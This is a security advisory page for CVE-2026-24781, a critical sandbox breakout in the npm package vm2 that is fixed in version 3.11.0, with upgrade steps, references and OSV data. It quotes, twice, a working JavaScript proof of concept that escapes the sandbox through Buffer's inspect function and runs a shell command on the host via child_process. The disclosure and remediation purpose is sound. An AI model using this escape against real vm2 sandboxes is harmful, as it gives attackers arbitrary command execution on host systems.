CVE-2026-24781: Vm2 VM2 Has Sandbox Breakout Through Vulnerability

CRITICAL
Advisory Identifier: GHSA-v37h-5mfm-c47c
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CVSS 9.8
CWE-693 CWE-94
Published
Advisory Summary

CVE-2026-24781 is a CRITICAL (CVSS 9.8) vm2 has sandbox breakout through vulnerability (CWE-693: Protection Mechanism Failure) affecting Vm2 libraries in the npm ecosystem. The issue involves vm2 has sandbox breakout through inspect function. Remediation is available by upgrading affected packages to version 3.11.0.

CVE-2026-24781 at a Glance

CVE Identifier CVE-2026-24781
GHSA Identifier GHSA-v37h-5mfm-c47c
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-693: Protection Mechanism Failure
Affected Product Vm2
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-24781

To remediate this vulnerability, upgrade all affected Vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vm2 fixed: 3.11.0 
npm install vm2@3.11.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls vm2

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-24781, inspect your project dependencies using npm:

npm ls vm2

Analyze the terminal output to locate any version of Vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.0), your application is affected.

Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In Vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary VM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge. ### PoC ```js const obj = { subarray: Buffer.prototype.inspect, slice: Buffer.prototype.slice, hexSlice:()=>'', l:{__proto__: null} }; obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) { if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice; return a; }}); obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

CVE-2026-24781 Affected Vm2 Versions

1 component(s)
Fixed Versions:
3.11.0
Product / Package Ecosystem Affected Versions Fixed Version
vm2
npm/vm2
npm
< 3.11.0
3.11.0

References

GitHub Advisory / Wiki ADVISORY
https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c
NVD — CVE-2026-24781 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-24781
Security Fix Commit FIX COMMIT
https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189
Security Fix Commit FIX COMMIT
https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88c
Security Fix Commit FIX COMMIT
https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228
Vm2 Source Repository REPOSITORY
https://github.com/patriksimek/vm2
Vm2 Release RELEASE
https://github.com/patriksimek/vm2/releases/tag/v3.11.0

Frequently Asked Questions

What is CVE-2026-24781?
CVE-2026-24781 is a security vulnerability in Vm2 involving VM2 Has Sandbox Breakout Through Inspect Function under CWE-693: Protection Mechanism Failure.
Which Vm2 versions are affected?
Affected versions include releases prior to 3.11.0 across affected packages: vm2.
What version fixes CVE-2026-24781?
Upgrading to 3.11.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vm2 affected?
Yes, vm2 is affected in releases prior to 3.11.0. Upgrade your dependency to 3.11.0 or later.
What is the CVSS score of CVE-2026-24781?
CVE-2026-24781 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-24781?
CVE-2026-24781 is classified under CWE-693: Protection Mechanism Failure (The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.).
How can I check npm dependencies for CVE-2026-24781?
Run the dependency tree command: 'npm ls vm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v37h-5mfm-c47c",
  "modified" : "2026-05-05T16:33:15Z",
  "published" : "2026-05-05T16:33:14Z",
  "aliases" : [ "CVE-2026-24781" ],
  "summary" : "VM2 Has Sandbox Breakout Through Inspect Function",
  "details" : "### Summary\n\nVM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.\n\n### PoC\n\n```js\nconst obj = {\n\tsubarray: Buffer.prototype.inspect,\n\tslice: Buffer.prototype.slice,\n\thexSlice:()=>'',\n\tl:{__proto__: null}\n};\n\nobj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {\n\tif (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;\n\treturn a;\n}});\nobj.l.x.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.11.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.10.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-24781"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88c"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-693", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T16:33:14Z",
    "nvd_published_at" : "2026-05-04T17:16:21Z"
  }
}